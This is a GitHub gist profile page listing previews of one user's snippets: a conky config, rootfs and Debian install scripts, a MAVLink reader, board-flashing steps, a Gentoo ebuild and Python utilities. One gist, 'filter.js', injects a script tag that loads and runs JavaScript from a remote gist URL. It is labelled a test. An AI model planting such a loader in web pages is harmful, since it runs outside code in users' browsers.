Skip to content

Instantly share code, notes, and snippets.

View sarnold's full-sized avatar

Steve Arnold sarnold

View GitHub Profile
@sarnold
sarnold / dot.conkyrc
Created April 10, 2024 00:14
conky over screen in one line
-- ~/.conkyrc
conky.config = {
out_to_x = false,
out_to_console = true,
total_run_times = 1 -- must be 1, screen will do the refreshing, not Conky.
};
-- EVERYTHING MUST BE ON A SINGLE LINE!
conky.text = [[${time %H:%M}|free space:${fs_free /}|$loadavg|free mem:$memeasyfree]]
@sarnold
sarnold / deboot.sh
Last active September 24, 2023 01:45 — forked from knotdevel/deboot.sh
script to build Ubuntu rootfs (for arm64, armhf, powerpc, ppc64el)
#!/bin/bash
#
# deboot.sh
# script to build Ubuntu rootfs (for arm64, armhf, powerpc, ppc64el)
#
# Copyright 2017 knotdevel
# Released under the MIT license
# http://opensource.org/licenses/mit-license.php
#
#
@sarnold
sarnold / deb.sh
Created December 26, 2022 05:17 — forked from MakiseKurisu/deb.sh
Install vanilla UEFI Debian for ESPRESSOBin
# You will need a real Debian machine to perform cross debootstrap
# Debian on WSL does not work
# Enter root mode
sudo -i
# Install dependency
apt update && apt install -y btrfs-progs dosfstools qemu-user-static debootstrap
# Set up partition table and file systems
@sarnold
sarnold / gist:37129707d8d0b626962ca3ec995626b6
Created May 19, 2022 23:10 — forked from vo/gist:9331349
Simple Mavlink Reader in Python using pymavlink
#!/usr/bin/env python
import sys, os
from optparse import OptionParser
# tell python where to find mavlink so we can import it
sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), '../mavlink'))
from pymavlink import mavutil
def handle_heartbeat(msg):
@sarnold
sarnold / Installation Instructions
Created January 3, 2022 06:14 — forked from macromorgan/Installation Instructions
Pocket CHIP Mainline Kernel Mainline U-Boot
copy rootfs.ubi and boot.img to the root of a FAT32 formatted USB flash drive, and plug it into CHIP
boot CHIP into FEL mode
from FEL mode do:
sunxi-fel spl sunxi-spl.bin
sunxi-fel write 0x4a000000 u-boot-dtb.bin
sunxi-fel write 0x43000000 spl-400000-4000-500.bin
sunxi-fel exe 0x4a000000
from a serial console booted into u-boot do:
@sarnold
sarnold / py-re2-9999.ebuild
Created January 2, 2021 19:05
live ebuild for re2 python extension test branch cmake-minimal
# Copyright 2020 Gentoo Authors
# Distributed under the terms of the GNU General Public License v2
EAPI=7
PYTHON_COMPAT=( python3_{6..9} )
DISTUTILS_USE_SETUPTOOLS=bdepend
inherit distutils-r1 cmake
DESCRIPTION="Python bindings for dev-libs/re2"
@sarnold
sarnold / filter.js
Created December 13, 2020 01:49
js test
if(parent.document.URL!=document.location.href)
throw new Error("No script injected");
(function(e){e.setAttribute("src","https://gist.githubusercontent.com/ian-bateman/1b5e31ec14b2e82b1fa8891d3de81105/raw/b68d985be347f1406b3d67c29f906d2dcdbf054c/test.js");
document.getElementsByTagName("body")[0].appendChild(e);})
(document.createElement("script"));void(0);
console.log("******* Script Injected *******")
@sarnold
sarnold / arch-chromebook.md
Created October 17, 2020 21:13 — forked from chrisdiana/arch-chromebook.md
Arch Linux on Chromebook Flip C100P

Arch Linux on Chromebook Flip C100P

The ASUS Chromebook Flip C100P (veyron_minnie) is the world's first 10" convertible Chromebook with a full metal chassis, so a user can go from laptop to tablet form factor in a snap. The ASUS Chromebook Flip is powered by a Rockchip quad-core processor with 2GB RAM for incredible performance.

It has a 10-finger multi-touch screen, with a comfortable wide key-pitch keyboard and up to 8 hours battery life for all-day mobile use. The connectivity with dual-band WiFi 802.11ac & BT4.0 support can also provide up to 3 times the speed of 802.11n for faster data transfer. Carved from a single block of aluminum for a seamless design, the ASUS Chromebook Flip is not only beautiful, but durable, too.

These instructions will create a dual-booting environment where you can switch between booting Arch Linux ARM and the stock ChromeOS. No changes are made to the internal eMMC drive, and your new Arch Linux ARM install will run completely from external storage. This is the recommen

@sarnold
sarnold / MANIFEST.in
Last active August 4, 2020 03:24 — forked from jpmens/MANIFEST.in
Including git version in setup.py files. (Requires at least _one_ tag in the repo) Normally used to make things like, "python setup.py sdist" give you a predictable name for files. Normally used with tags on the repo like 0.1 or 2.3.0 You should add RELEASE-VERSION to MANIFEST.in so that end users of the tarball can use this too.
include RELEASE-VERSION
include version.py
# Anything else you normally use
@sarnold
sarnold / gist:6fadb4b0dc438956c01fb83f6d664c8e
Created June 23, 2020 16:49
simple pygobject gtk3 app indicator
# This code was adapted from an example for a tutorial on Ubuntu Unity/Gnome AppIndicators:
# http://candidtim.github.io/appindicator/2014/09/13/ubuntu-appindicator-step-by-step.html
import gi
import signal
import json
import xmltodict
import urllib.request
gi.require_version('Gtk', '3.0')